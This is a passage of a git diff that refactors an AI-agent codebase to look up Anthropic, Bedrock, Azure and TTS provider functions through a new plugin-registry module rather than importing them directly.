_get_bedrock_runtime_client, - invalidate_runtime_client, - is_stale_connection_error, - normalize_converse_response, - ) + from agent.plugin_registries import registries + _bedrock = registries.get_provider_namespace("bedrock") + _get_bedrock_runtime_client = _bedrock.get("_get_bedrock_runtime_client") + invalidate_runtime_client = _bedrock.get("invalidate_runtime_client") + is_stale_connection_error = _bedrock.get("is_stale_connection_error") + normalize_converse_response = _bedrock.get("normalize_converse_response") + if _get_bedrock_runtime_client is None or normalize_converse_response is None: + raise ImportError("bedrock provider not registered") region = api_kwargs.pop("__bedrock_region__", "us-east-1") api_kwargs.pop("__bedrock_converse__", None) client = _get_bedrock_runtime_client(region) @@ -559,8 +561,11 @@ def build_api_kwargs(agent, api_messages: list) -> dict: _ant_max = None if (_is_or or _is_nous) and "claude" in (agent.model or "").lower(): try: - from agent.anthropic_adapter import _get_anthropic_max_output - _ant_max = _get_anthropic_max_output(agent.model) + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + _get_anthropic_max_output = _anthropic.get("_get_anthropic_max_output") + if _get_anthropic_max_output is not None: + _ant_max = _get_anthropic_max_output(agent.model) except Exception: pass @@ -1026,15 +1031,20 @@ def try_activate_fallback(agent, reason: "FailoverReason | None" = None) -> bool if fb_api_mode == "anthropic_messages": # Build native Anthropic client instead of using OpenAI client - from agent.anthropic_adapter import build_anthropic_client, resolve_anthropic_token, _is_oauth_token - effective_key = (fb_client.api_key or resolve_anthropic_token() or "") if fb_provider == "anthropic" else (fb_client.api_key or "") + from agent.plugin_registries import registries + _anthropic = registries.get_provider_namespace("anthropic") + build_anthropic_client = _anthropic.get("build_anthropic_client") + resolve_anthropic_token = _anthropic.get("resolve_anthropic_token") + _is_oauth_token = _anthropic.get("_is_oauth_token") + effective_key = (fb_client.api_key or (resolve_anthropic_token() if resolve_anthropic_token else "") or "") if fb_provider == "anthropic" else (fb_client.api_key or "") agent.api_key = effective_key agent._anthropic_api_key = effective_key agent._anthropic_base_url = fb_base_url - agent._anthropic_client = build_anthropic_client( - effective_key, agent._anthropic_base_url, timeout=_fb_timeout, - ) - agent._is_anthropic_oauth = _is_oauth_token(effective_key) if fb_provider == "anthropic" else False + if build_anthropic_client is not None: + agent._anthropic_client = build_anthropic_client( + effective_key, agent._anthropic_base_url, timeout=_fb_timeout, + ) + agent._is_anthropic_oauth = _is_oauth_token(effective_key) if fb_provider == "anthropic" and _is_oauth_token else False agent.client = None agent._client_kwargs = {} else: @@ -1418,12 +1428,14 @@ def interruptible_streaming_api_call(agent, api_kwargs: dict, *, on_first_delta= def _bedrock_call(): try: - from agent.bedrock_adapter import ( - _get_bedrock_runtime_client, - invalidate_runtime_client, - is_stale_connection_error, - stream_converse_with_callbacks, - ) + from agent.plugin_registries import registries + _bedrock = registries.get_provider_namespace("bedrock") + _get_bedrock_runtime_client = _bedrock.get("_get_bedrock_runtime_client") + invalidate_runtime_client = _bedrock.get("invalidate_runtime_client") + is_stale_connection_error = _bedrock.get("is_stale_connection_error") + stream_converse_with_callbacks = _bedrock.get("stream_converse_with_callbacks") + if _get_bedrock_runtime_client is None or stream_converse_with_callbacks is None: + raise ImportError("bedrock provider not registered") region = api_kwargs.pop("__bedrock_region__", "us-east-1") api_kwargs.pop("__bedrock_converse__", None) client = _get_bedrock_runtime_client(region) diff --git a/agent/conversation_loop.py b/agent/conversation_loop.py index cab284986f5..1777f4593c4 100644 --- a/agent/conversation_loop.py +++ b/agent/conversation_loop.py @@ -27,7 +27,7 @@ import time import uuid from typing import Any, Dict, List, Optional -from agent.anthropic_adapter import _is_oauth_token +from agent.plugin_registries import registries as _registries from agent.auxiliary_client import set_runtime_main from agent.codex_responses_adapter import _summarize_user_message_for_log from agent.display import KawaiiSpinner @@ -2238,8 +2238,8 @@ def run_conversation( and not anthropic_auth_retry_attempted ): anthropic_auth_retry_attempted = True - from agent.anthropic_adapter import _is_oauth_token - from agent.azure_identity_adapter import is_token_provider + _is_oauth_token = _registries.get_provider_service("anthropic", "_is_oauth_token") + is_token_provider = _registries.get_provider_service("azure", "is_token_provider") if agent._try_refresh_anthropic_client_credentials(): print(f"{agent.log_prefix}🔐 Anthropic credentials refreshed after 401. Retrying request...") continue @@ -2256,7 +2256,7 @@ def run_conversation( print(f"{agent.log_prefix} Run `hermes doctor` for credential-chain diagnostics, or") print(f"{agent.log_prefix} `az login` if your developer session expired.") else: - auth_method = "Bearer (OAuth/setup-token)" if _is_oauth_token(key) else "x-api-key (API key)" + auth_method = "Bearer (OAuth/setup-token)" if (_is_oauth_token is not None and _is_oauth_token(key)) else "x-api-key (API key)" print(f"{agent.log_prefix} Auth method: {auth_method}") print(f"{agent.log_prefix} Token prefix: {key[:12]}..." if isinstance(key, str) and len(key) > 12 else f"{agent.log_prefix} Token: (empty or short)") print(f"{agent.log_prefix} Troubleshooting:") diff --git a/agent/credential_pool.py b/agent/credential_pool.py index 60cd375d358..9bbef60cbd6 100644 --- a/agent/credential_pool.py +++ b/agent/credential_pool.py @@ -469,7 +469,8 @@ class CredentialPool: if self.provider != "anthropic" or entry.source != "claude_code": return entry try: - from agent.anthropic_adapter import read_claude_code_credentials + from agent.plugin_registries import registries + read_claude_code_credentials = registries.get_provider_service("anthropic", "read_claude_code_credentials") creds = read_claude_code_credentials() if not creds: return entry @@ -785,7 +786,8 @@ class CredentialPool: try: if self.provider == "anthropic": - from agent.anthropic_adapter import refresh_anthropic_oauth_pure + from agent.plugin_registries import registries + refresh_anthropic_oauth_pure = registries.get_provider_service("anthropic", "refresh_anthropic_oauth_pure") refreshed = refresh_anthropic_oauth_pure( entry.refresh_token, @@ -802,7 +804,7 @@ class CredentialPool: # see the latest tokens. if entry.source == "claude_code": try: - from agent.anthropic_adapter import _write_claude_code_credentials + _write_claude_code_credentials = registries.get_provider_service("anthropic", "_write_claude_code_credentials") _write_claude_code_credentials( refreshed["access_token"], refreshed["refresh_token"], @@ -872,7 +874,8 @@ class CredentialPool: if synced.refresh_token != entry.refresh_token: logger.debug("Retrying refresh with synced token from credentials file") try: - from agent.anthropic_adapter import refresh_anthropic_oauth_pure + from agent.plugin_registries import registries + refresh_anthropic_oauth_pure = registries.get_provider_service("anthropic", "refresh_anthropic_oauth_pure") refreshed = refresh_anthropic_oauth_pure( synced.refresh_token, use_json=synced.source.endswith("hermes_pkce"), @@ -889,7 +892,7 @@ class CredentialPool: self._replace_entry(synced, updated) self._persist() try: - from agent.anthropic_adapter import _write_claude_code_credentials + _write_claude_code_credentials = registries.get_provider_service("anthropic", "_write_claude_code_credentials") _write_claude_code_credentials( refreshed["access_token"], refreshed["refresh_token"], @@ -1527,7 +1530,9 @@ def _seed_from_singletons(provider: str, entries: List[PooledCredential]) -> Tup except ImportError: pass - from agent.anthropic_adapter import read_claude_code_credentials, read_hermes_oauth_credentials + from agent.plugin_registries import registries + read_claude_code_credentials = registries.get_provider_service("anthropic", "read_claude_code_credentials") + read_hermes_oauth_credentials = registries.get_provider_service("anthropic", "read_hermes_oauth_credentials") for source_name, creds in ( ("hermes_pkce", read_hermes_oauth_credentials()), diff --git a/agent/model_metadata.py b/agent/model_metadata.py index e9ec4bf03a7..8ed412aaf24 100644 --- a/agent/model_metadata.py +++ b/agent/model_metadata.py @@ -1545,8 +1545,11 @@ def get_model_context_length( and base_url_host_matches(base_url, "amazonaws.com") ): try: - from agent.bedrock_adapter import get_bedrock_context_length - return get_bedrock_context_length(model) + from agent.plugin_registries import registries + _bedrock = registries.get_provider_namespace("bedrock") + get_bedrock_context_length = _bedrock.get("get_bedrock_context_length") + if get_bedrock_context_length is not None: + return get_bedrock_context_length(model) except ImportError: pass # boto3 not installed — fall through to generic resolution diff --git a/agent/plugin_registries.py b/agent/plugin_registries.py new file mode 100644 index 00000000000..52f760cf5c1 --- /dev/null +++ b/agent/plugin_registries.py @@ -0,0 +1,384 @@ +"""Plugin capability registries. + +Each plugin's ``register(ctx)`` function populates these registries via +``ctx.register_()``. The core codebase then queries the +registries instead of importing from plugin packages directly. + +This is the **only** coupling point between the core and plugins: the core +imports from ``agent.plugin_registries``, never from ``hermes_agent_*``. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import ( + Any, + Callable, + Dict, + List, + Optional, + Protocol, + Sequence, + Type, + runtime_checkable, +) + + +# --------------------------------------------------------------------------- +# Auth providers +# --------------------------------------------------------------------------- + +@runtime_checkable +class AuthProvider(Protocol): + """A plugin that can provide or check authentication credentials. + + Registered via ``ctx.register_auth_provider(name, provider)``. + Queried by ``hermes_cli/auth_commands.py``, ``doctor.py``, etc. + """ + + @property + def name(self) -> str: ... + + def has_credentials(self) -> bool: + """Return True if the required credentials are present in env/config.""" + ... + + def check_env_vars(self) -> Dict[str, str | None]: + """Return a dict of env-var-name → current-value (or None if unset). + + Used by ``hermes doctor`` to display credential status. + """ + ... + + def resolve_token(self, **kwargs: Any) -> Any: + """Resolve and return an auth token/credential for the provider. + + The return type is provider-specific (string, tuple, object, etc.). + """ + ... + + def refresh_token(self, **kwargs: Any) -> Any: + """Refresh an existing token. Raises if refresh is not supported.""" + ... + + +@dataclass +class AuthProviderEntry: + provider: AuthProvider + """The auth provider instance.""" + + cli_group: str = "" + """CLI argument group name (e.g. 'Anthropic', 'AWS / Bedrock').""" + + setup_subcommands: bool = False + """Whether this provider adds CLI auth subcommands (login, logout, etc.).""" + + +# --------------------------------------------------------------------------- +# Transport builders +# --------------------------------------------------------------------------- + +@runtime_checkable +class TransportBuilder(Protocol): + """A plugin that builds clients and converts messages for a model transport. + + Registered via ``ctx.register_transport(name, builder)``. + Queried by ``agent/transports/`` and ``agent/auxiliary_client.py``. + """ + + def build_client(self, **kwargs: Any) -> Any: + """Build and return a provider-specific API client.""" + ... + + def build_kwargs(self, **kwargs: Any) -> Dict[str, Any]: + """Build the kwargs dict for a provider-specific API call.""" + ... + + def convert_messages(self, messages: Sequence[Any], **kwargs: Any) -> Any: + """Convert internal message format to provider-specific format.""" + ... + + def convert_tools(self, tools: Sequence[Any], **kwargs: Any) -> Any: + """Convert internal tool format to provider-specific format.""" + ... + + def normalize_response(self, response: Any, **kwargs: Any) -> Any: + """Normalize a provider-specific response into the internal format.""" + ... + + +# --------------------------------------------------------------------------- +# Platform adapters +# --------------------------------------------------------------------------- + +@dataclass +class PlatformAdapterEntry: + """A registered platform adapter. + + Registered via ``ctx.register_platform(name, entry)``. + Queried by ``gateway/run.py`` and ``tools/send_message_tool.py``. + """ + name: str + """Platform identifier (e.g. 'telegram', 'slack').""" + + adapter_class: Type + """The adapter class (e.g. TelegramAdapter).""" + + check_requirements: Callable[[], bool] + """Check if the platform's dependencies are installed and configured.""" + + available_flag: str = "" + """Name of the module-level AVAILABLE boolean, if any.""" + + constants: Dict[str, Any] = field(default_factory=dict) + """Platform-specific constants (e.g. FEISHU_DOMAIN, LARK_DOMAIN).""" + + helper_functions: Dict[str, Callable] = field(default_factory=dict) + """Platform-specific helper functions (e.g. probe_bot, qr_register).""" + + +# --------------------------------------------------------------------------- +# Tool providers +# --------------------------------------------------------------------------- + +@dataclass +class ToolProviderEntry: + """A registered tool provider. + + Registered via ``ctx.register_tool_provider(name, entry)``. + Queried by ``tools/`` modules. + """ + name: str + """Tool identifier (e.g. 'tts', 'stt', 'fal', 'daytona').""" + + tool_functions: Dict[str, Callable] = field(default_factory=dict) + """Tool functions keyed by name (e.g. 'text_to_speech_tool', 'transcribe_audio').""" + + check_fn: Optional[Callable] = None + """Check if the tool's dependencies are available.""" + + constants: Dict[str, Any] = field(default_factory=dict) + """Tool-specific constants (e.g. MAX_FILE_SIZE).""" + + config_functions: Dict[str, Callable] = field(default_factory=dict) + """Config/utility functions (e.g. _get_provider, _load_stt_config).""" + + environment_classes: Dict[str, Type] = field(default_factory=dict) + """Environment classes for terminal backends (e.g. DaytonaEnvironment).""" + + +# --------------------------------------------------------------------------- +# Model metadata providers +# --------------------------------------------------------------------------- + +@dataclass +class ModelMetadataEntry: + """A registered model metadata provider. + + Registered via ``ctx.register_model_metadata(name, entry)``. + Queried by ``agent/model_metadata.py`` and CLI model commands. + """ + name: str + """Provider identifier (e.g. 'anthropic', 'bedrock').""" + + get_context_length: Optional[Callable[[str], int | None]] = None + """Return the context length for a model name, or None if unknown.""" + + list_models: Optional[Callable[[], List[str]]] = None + """Return a list of known model IDs for this provider.""" + + constants: Dict[str, Any] = field(default_factory=dict) + """Provider-specific constants (e.g. _COMMON_BETAS, betas lists).""" + + +# --------------------------------------------------------------------------- +# Credential pool entries +# --------------------------------------------------------------------------- + +@dataclass +class CredentialPoolEntry: + """A registered credential pool provider. + + Registered via ``ctx.register_credential_pool(name, entry)``. + Queried by ``agent/credential_pool.py``. + """ + name: str + """Provider identifier (e.g. 'anthropic').""" + + read_credentials: Optional[Callable] = None + """Read stored credentials.""" + + write_credentials: Optional[Callable] = None + """Write/store credentials.""" + + refresh_credentials: Optional[Callable] = None + """Refresh stored credentials.""" + + read_oauth: Optional[Callable] = None + """Read OAuth credentials.""" + + +# --------------------------------------------------------------------------- +# The global registries (singleton) +# --------------------------------------------------------------------------- + +class PluginRegistries: + """Central store for all plugin-registered capabilities. + + A single instance is created at import time and shared across the + process. Plugins populate it during ``register()``; the core + queries it at runtime. + """ + + def __init__(self) -> None: + self.auth_providers: Dict[str, AuthProviderEntry] = {} + self.transport_builders: Dict[str, TransportBuilder] = {} + self.platform_adapters: Dict[str, PlatformAdapterEntry] = {} + self.tool_providers: Dict[str, ToolProviderEntry] = {} + self.model_metadata: Dict[str, ModelMetadataEntry] = {} + self.credential_pools: Dict[str, CredentialPoolEntry] = {} + self._provider_services: Dict[str, Dict[str, Any]] = {} + + # -- registration methods (called from PluginContext) -------------------- + + def register_auth_provider( + self, + name: str, + provider: AuthProvider, + *, + cli_group: str = "", + setup_subcommands: bool = False, + ) -> None: + self.auth_providers[name] = AuthProviderEntry( + provider=provider, + cli_group=cli_group, + setup_subcommands=setup_subcommands, + ) + + def register_transport(self, name: str, builder: TransportBuilder) -> None: + self.transport_builders[name] = builder + + def register_platform(self, entry: PlatformAdapterEntry) -> None: + self.platform_adapters[entry.name] = entry + + def register_tool_provider(self, entry: ToolProviderEntry) -> None: + self.tool_providers[entry.name] = entry + + def register_model_metadata(self, entry: ModelMetadataEntry) -> None: + self.model_metadata[entry.name] = entry + + def register_credential_pool(self, entry: CredentialPoolEntry) -> None: + self.credential_pools[entry.name] = entry + + # -- query helpers ------------------------------------------------------- + + def get_auth_provider(self, name: str) -> AuthProviderEntry | None: + return self.auth_providers.get(name) + + def get_transport(self, name: str) -> TransportBuilder | None: + return self.transport_builders.get(name) + + def get_platform(self, name: str) -> PlatformAdapterEntry | None: + return self.platform_adapters.get(name) + + def get_tool_provider(self, name: str) -> ToolProviderEntry | None: + return self.tool_providers.get(name) + + def get_model_metadata(self, name: str) -> ModelMetadataEntry | None: + return self.model_metadata.get(name) + + def get_credential_pool(self, name: str) -> CredentialPoolEntry | None: + return self.credential_pools.get(name) + + def all_auth_providers(self) -> List[AuthProviderEntry]: + return list(self.auth_providers.values()) + + def all_platforms(self) -> List[PlatformAdapterEntry]: + return list(self.platform_adapters.values()) + + def all_tool_providers(self) -> List[ToolProviderEntry]: + return list(self.tool_providers.values()) + + # -- provider services (model-provider namespace) ----------------------- + + def register_provider_services(self, name: str, services: Dict[str, Any]) -> None: + """Register a namespace dict of provider-specific services. + + This is the escape hatch for model-provider plugins that expose many + symbols (anthropic has 50+). Each plugin registers its public surface + as a flat dict of ``{symbol_name: callable_or_value}``. Core code + looks up specific symbols instead of importing from the plugin + package directly. + + Each callable value is stored as a *lazy module-attribute reference* + so that ``unittest.mock.patch("pkg.mod.fn")`` works correctly in + tests — the registry re-reads ``mod.fn`` on every lookup instead of + capturing the function object at register time. + + Example:: + + registries.register_provider_services("anthropic", { + "build_anthropic_client": build_anthropic_client, + "resolve_anthropic_token": resolve_anthropic_token, + "_is_oauth_token": _is_oauth_token, + ... + }) + """ + import sys + + def _make_lazy(fn: Any) -> Any: + """Return a lazy wrapper that re-reads fn from its module each call. + + This makes mock.patch() on the module attribute work transparently — + the registry never caches the function object, just the reference path. + """ + if not callable(fn): + return fn + module = getattr(fn, "__module__", None) + qualname = getattr(fn, "__qualname__", None) + if not module or not qualname or "." in qualname: + # non-simple attribute (lambda, nested fn, class method) — store directly + return fn + + class _LazyRef: + __slots__ = ("_mod", "_attr", "_fallback") + + def __init__(self, mod: str, attr: str, fallback: Any) -> None: + self._mod = mod + self._attr = attr + self._fallback = fallback + + def __call__(self, *args: Any, **kwargs: Any) -> Any: + mod = sys.modules.get(self._mod) + live = getattr(mod, self._attr, self._fallback) if mod else self._fallback + return live(*args, **kwargs) + + def __repr__(self) -> str: # pragma: no cover + return f"" + + # Allow isinstance checks and hasattr to pass through + def __bool__(self) -> bool: + return True + + return _LazyRef(module, qualname, fn) + + self._provider_services[name] = {k: _make_lazy(v) for k, v in services.items()} + + def get_provider_service(self, provider: str, name: str) -> Any: + """Look up a single symbol from a provider's service namespace. + + Returns ``None`` if the provider is not registered or the symbol + doesn't exist. + """ + ns = self._provider_services.get(provider) + if ns is None: + return None + return ns.get(name) + + def get_provider_namespace(self, provider: str) -> Dict[str, Any]: + """Return the full service namespace dict for a provider (empty dict if unregistered).""" + return self._provider_services.get(provider, {}) + + +# Module-level singleton — the one and only instance. +registries = PluginRegistries() diff --git a/agent/transports/anthropic.py b/agent/transports/anthropic.py index d77ae63ef32..1e28b8ef07b 100644 --- a/agent/transports/anthropic.py +++ b/agent/transports/anthropic.py @@ -1,6 +1,6 @@ """Anthropic Messages API transport. -Delegates to the existing adapter functions in agent/anthropic_adapter.py. +Delegates to the existing adapter functions in hermes_agent_anthropic. This transport owns format conversion and normalization — NOT client lifecycle. """ @@ -13,7 +13,7 @@ from agent.transports.types import NormalizedResponse class AnthropicTransport(ProviderTransport): """Transport for api_mode='anthropic_messages'. - Wraps the existing functions in anthropic_adapter.py behind the + Wraps the existing functions in hermes_agent_anthropic behind the ProviderTransport ABC. Each method delegates — no logic is duplicated. """ @@ -27,14 +27,16 @@ class AnthropicTransport(ProviderTransport): kwargs: base_url: Optional[str] — affects thinking signature handling. """ - from agent.anthropic_adapter import convert_messages_to_anthropic + from agent.plugin_registries import registries + convert_messages_to_anthropic = registries.get_provider_service("anthropic", "convert_messages_to_anthropic") base_url = kwargs.get("base_url") return convert_messages_to_anthropic(messages, base_url=base_url) def convert_tools(self, tools: List[Dict[str, Any]]) -> Any: """Convert OpenAI tool schemas to Anthropic input_schema format.""" - from agent.anthropic_adapter import convert_tools_to_anthropic + from agent.plugin_registries import registries + convert_tools_to_anthropic = registries.get_provider_service("anthropic", "convert_tools_to_anthropic") return convert_tools_to_anthropic(tools) @@ -60,7 +62,8 @@ class AnthropicTransport(ProviderTransport): fast_mode: bool drop_context_1m_beta: bool """ - from agent.anthropic_adapter import build_anthropic_kwargs + from agent.plugin_registries import registries + build_anthropic_kwargs = registries.get_provider_service("anthropic", "build_anthropic_kwargs") return build_anthropic_kwargs( model=model, @@ -84,7 +87,8 @@ class AnthropicTransport(ProviderTransport): to OpenAI finish_reason, and collects reasoning_details in provider_data. """ import json - from agent.anthropic_adapter import _to_plain_data + from agent.plugin_registries import registries + _to_plain_data = registries.get_provider_service("anthropic", "_to_plain_data") from agent.transports.types import ToolCall strip_tool_prefix = kwargs.get("strip_tool_prefix", False) @@ -100,9 +104,10 @@ class AnthropicTransport(ProviderTransport): text_parts.append(block.text) elif block.type == "thinking": reasoning_parts.append(block.thinking) - block_dict = _to_plain_data(block) - if isinstance(block_dict, dict): - reasoning_details.append(block_dict) + if _to_plain_data is not None: + block_dict = _to_plain_data(block) + if isinstance(block_dict, dict): + reasoning_details.append(block_dict) elif block.type == "tool_use": name = block.name if strip_tool_prefix and name.startswith(_MCP_PREFIX): diff --git a/agent/transports/bedrock.py b/agent/transports/bedrock.py index af549e7eae6..8d59097de9b 100644 --- a/agent/transports/bedrock.py +++ b/agent/transports/bedrock.py @@ -1,6 +1,6 @@ """AWS Bedrock Converse API transport. -Delegates to the existing adapter functions in agent/bedrock_adapter.py. +Delegates to the existing adapter functions in hermes_agent_bedrock. Bedrock uses its own boto3 client (not the OpenAI SDK), so the transport owns format conversion and normalization, while client construction and boto3 calls stay on AIAgent. @@ -21,13 +21,19 @@ class BedrockTransport(ProviderTransport): def convert_messages(self, messages: List[Dict[str, Any]], **kwargs) -> Any: """Convert OpenAI messages to Bedrock Converse format.""" - from agent.bedrock_adapter import convert_messages_to_converse - return convert_messages_to_converse(messages) + from agent.plugin_registries import registries + _fn = registries.get_provider_service("bedrock", "convert_messages_to_converse") + if _fn is None: + raise ImportError("bedrock plugin not registered") + return _fn(messages) def convert_tools(self, tools: List[Dict[str, Any]]) -> Any: """Convert OpenAI tool schemas to Bedrock Converse toolConfig.""" - from agent.bedrock_adapter import convert_tools_to_converse - return convert_tools_to_converse(tools) + from agent.plugin_registries import registries + _fn = registries.get_provider_service("bedrock", "convert_tools_to_converse") + if _fn is None: + raise ImportError("bedrock plugin not registered") + return _fn(tools) def build_kwargs( self, @@ -46,12 +52,15 @@ class BedrockTransport(ProviderTransport): guardrail_config: dict | None — Bedrock guardrails region: str — AWS region (default 'us-east-1') """ - from agent.bedrock_adapter import build_converse_kwargs + from agent.plugin_registries import registries + _fn = registries.get_provider_service("bedrock", "build_converse_kwargs") + if _fn is None: + raise ImportError("bedrock plugin not registered") region = params.get("region", "us-east-1") guardrail = params.get("guardrail_config") - kwargs = build_converse_kwargs( + kwargs = _fn( model=model, messages=messages, tools=tools, @@ -71,7 +80,10 @@ class BedrockTransport(ProviderTransport): 1. Raw boto3 dict (from direct converse() calls) 2. Already-normalized SimpleNamespace with .choices (from dispatch site) """ - from agent.bedrock_adapter import normalize_converse_response + from agent.plugin_registries import registries + normalize_converse_response = registries.get_provider_service("bedrock", "normalize_converse_response") + if normalize_converse_response is None: + raise ImportError("bedrock plugin not registered") # Normalize to OpenAI-compatible SimpleNamespace if hasattr(response, "choices") and response.choices: diff --git a/cli.py b/cli.py index 93050a070d8..7f2d788dd10 100644 --- a/cli.py +++ b/cli.py @@ -6235,8 +6235,10 @@ class HermesCLI: # ``self.api_key`` may be a callable (Azure Foundry Entra ID bearer # provider). Never invoke it; just identify the auth surface. - from agent.azure_identity_adapter import is_token_provider - if is_token_provider(self.api_key): + from agent.plugin_registries import registries + _azure_ns = registries.get_provider_namespace("azure") + is_token_provider = _azure_ns.get("is_token_provider") + if is_token_provider and is_token_provider(self.api_key): api_key_display = "Microsoft Entra ID" elif isinstance(self.api_key, str) and len(self.api_key) > 12: api_key_display = f"{self.api_key[:8]}...{self.api_key[-4:]}" @@ -10853,7 +10855,14 @@ class HermesCLI: return self._voice_tts_done.clear() try: - from tools.tts_tool import text_to_speech_tool + from agent.plugin_registries import registries + _tts_provider = registries.get_tool_provider("tts") + if _tts_provider is None: + raise ImportError("tts tool provider not registered") + text_to_speech_tool = _tts_provider.tool_functions.get("text_to_speech_tool") + check_tts_requirements = _tts_provider.check_fn + if text_to_speech_tool is None: + raise ImportError("text_to_speech_tool not found in tts provider") from tools.voice_mode import play_audio_file # Strip markdown and non-speech content for cleaner TTS @@ -11036,8 +11045,10 @@ class HermesCLI: status = "enabled" if self._voice_tts else "disabled" if self._voice_tts: - from tools.tts_tool import check_tts_requirements - if not check_tts_requirements(): + from agent.plugin_registries import registries + _tts_provider = registries.get_tool_provider("tts") + check_tts_requirements = _tts_provider.check_fn if _tts_provider else None + if check_tts_requirements and not check_tts_requirements(): _cprint(f"{_DIM}Warning: No TTS provider available. Install edge-tts or set API keys.{_RST}") _cprint(f"{_ACCENT}Voice TTS {status}.{_RST}") @@ -11659,13 +11670,17 @@ class HermesCLI: if self._voice_tts: try: - from tools.tts_tool import ( - _load_tts_config as _load_tts_cfg, - _get_provider as _get_prov, - _import_elevenlabs, - _import_sounddevice, - stream_tts_to_speaker, - ) + from agent.plugin_registries import registries + _tts_provider = registries.get_tool_provider("tts") + if _tts_provider is None: + raise ImportError("tts tool provider not registered") + _load_tts_cfg = _tts_provider.config_functions.get("_load_tts_config") + _get_prov = _tts_provider.config_functions.get("_get_provider") + _import_elevenlabs = _tts_provider.config_functions.get("_import_elevenlabs") + _import_sounddevice = _tts_provider.config_functions.get("_import_sounddevice") + stream_tts_to_speaker = _tts_provider.tool_functions.get("stream_tts_to_speaker") + if not all([_load_tts_cfg, _get_prov, stream_tts_to_speaker]): + raise ImportError("streaming TTS functions not found in tts provider") _tts_cfg = _load_tts_cfg() if _get_prov(_tts_cfg) == "elevenlabs": # Verify both ElevenLabs SDK and audio output are available diff --git a/tests/conftest.py b/conftest.py similarity index 95% rename from tests/conftest.py rename to conftest.py index 0514702546b..36029a81966 100644 --- a/tests/conftest.py +++ b/conftest.py @@ -519,6 +519,43 @@ def pytest_configure(config): # noqa: D401 — pytest hook ) +def pytest_collection_finish(session) -> None: # noqa: D401 — pytest hook + """Warn when pytest is invoked directly instead of via the parallel runner. + + The canonical runner (scripts/run_tests_parallel.py) spawns one + pytest subprocess per file, giving each a fresh Python interpreter. + This prevents cross-file module-level state leakage (especially the + plugin-registry singleton) from causing ordering-dependent failures. + + Running ``pytest tests/`` directly collapses all files into one + process and WILL see spurious failures that don't exist in CI. + The runner sets HERMES_PARALLEL_RUNNER=1 in each subprocess so we + can detect the difference here. + """ + if os.environ.get("HERMES_PARALLEL_RUNNER"): + return # launched by the runner — all good + + n = len(session.items) + if n < 50: + return # single-file or tiny run — fine to use bare pytest + + _YELLOW = "\033[33m" + _BOLD = "\033[1m" + _RESET = "\033[0m" + print( + f"\n{_BOLD}{_YELLOW}⚠ hermes-agent test suite warning{_RESET}\n" + f" You're running {n} tests directly under pytest.\n" + f" Cross-file module-state leakage (esp. the plugin registry\n" + f" singleton) can cause ordering-dependent failures that don't\n" + f" exist in CI.\n\n" + f" Use the canonical runner instead:\n" + f" {_BOLD}python scripts/run_tests_parallel.py{_RESET}\n\n" + f" To suppress this warning (e.g. for a focused multi-file run):\n" + f" {_BOLD}HERMES_PARALLEL_RUNNER=1 pytest ...{_RESET}\n", + file=sys.stderr, + ) + + @pytest.fixture(autouse=True) def _live_system_guard(request, monkeypatch): """Block real os.kill / systemctl / gateway-pid scans during tests. diff --git a/gateway/platforms/base.py b/gateway/platforms/base.py index d3960154688..630105c3d7e 100644 --- a/gateway/platforms/base.py +++ b/gateway/platforms/base.py @@ -3609,8 +3609,11 @@ class BasePlatformAdapter(ABC): and text_content and not media_files): try: - from tools.tts_tool import text_to_speech_tool, check_tts_requirements - if check_tts_requirements(): + from agent.plugin_registries import registries + _tts = registries.get_tool_provider("tts") + text_to_speech_tool = _tts.tool_functions.get("text_to_speech_tool") if _tts else None + check_tts_requirements = _tts.check_fn if _tts else None + if check_tts_requirements and text_to_speech_tool and check_tts_requirements(): import json as _json speech_text = self.prepare_tts_text(text_content) if not speech_text: diff --git a/gateway/run.py b/gateway/run.py index 696f9b29b81..7d5b4941ad5 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -6125,6 +6125,29 @@ class GatewayRunner: # plugin adapters don't need a custom factory signature. if hasattr(adapter, "gateway_runner"): adapter.gateway_runner = self + # ── Telegram: notification mode from config ── + # Applied here (not in the adapter factory) because it + # reads gateway-local config that only the gateway runner + # has access to. + if platform.value == "telegram": + _notify_mode = os.getenv("HERMES_TELEGRAM_NOTIFICATIONS", "") + if not _notify_mode: + try: + _gw_cfg = _load_gateway_config() + _raw = cfg_get(_gw_cfg, "display", "platforms", "telegram", "notifications") + if _raw not in {None, ""}: + _notify_mode = str(_raw).strip().lower() + except Exception: + pass + _notify_mode = _notify_mode or "important" + if _notify_mode not in {"all", "important"}: + logger.warning( + "Unknown telegram notifications mode '%s', " + "defaulting to 'important' (valid: all, important)", + _notify_mode, + ) + _notify_mode = "important" + adapter._notifications_mode = _notify_mode return adapter # Registered but failed to instantiate — don't silently fall # through to built-ins (there are none for plugin platforms). @@ -6138,49 +6161,13 @@ class GatewayRunner: logger.debug("Platform registry lookup for '%s' failed: %s", platform.value, e) # Fall through to built-in adapters below - if platform == Platform.TELEGRAM: - from gateway.platforms.telegram import TelegramAdapter, check_telegram_requirements - if not check_telegram_requirements(): - logger.warning("Telegram: python-telegram-bot not installed") - return None - adapter = TelegramAdapter(config) - # Apply Telegram notification mode from config. Controls whether - # intermediate messages (tool progress, streaming, status) trigger - # push notifications. Supports ENV override for quick testing. - _notify_mode = os.getenv("HERMES_TELEGRAM_NOTIFICATIONS", "") - if not _notify_mode: - try: - _gw_cfg = _load_gateway_config() - _raw = cfg_get(_gw_cfg, "display", "platforms", "telegram", "notifications") - if _raw not in {None, ""}: - _notify_mode = str(_raw).strip().lower() - except Exception: - pass - _notify_mode = _notify_mode or "important" - if _notify_mode not in {"all", "important"}: - logger.warning( - "Unknown telegram notifications mode '%s', " - "defaulting to 'important' (valid: all, important)", - _notify_mode, - ) - _notify_mode = "important" - adapter._notifications_mode = _notify_mode - return adapter - - elif platform == Platform.WHATSAPP: + if platform == Platform.WHATSAPP: from gateway.platforms.whatsapp import WhatsAppAdapter, check_whatsapp_requirements if not check_whatsapp_requirements(): logger.warning("WhatsApp: Node.js not installed or bridge not configured") return None return WhatsAppAdapter(config) - elif platform == Platform.SLACK: - from gateway.platforms.slack import SlackAdapter, check_slack_requirements - if not check_slack_requirements(): - logger.warning("Slack: slack-bolt not installed. Run: pip install 'hermes-agent[slack]'") - return None - return SlackAdapter(config) - elif platform == Platform.SIGNAL: from gateway.platforms.signal import SignalAdapter, check_signal_requirements if not check_signal_requirements(): @@ -6209,20 +6196,6 @@ class GatewayRunner: return None return SmsAdapter(config) - elif platform == Platform.DINGTALK: - from gateway.platforms.dingtalk import 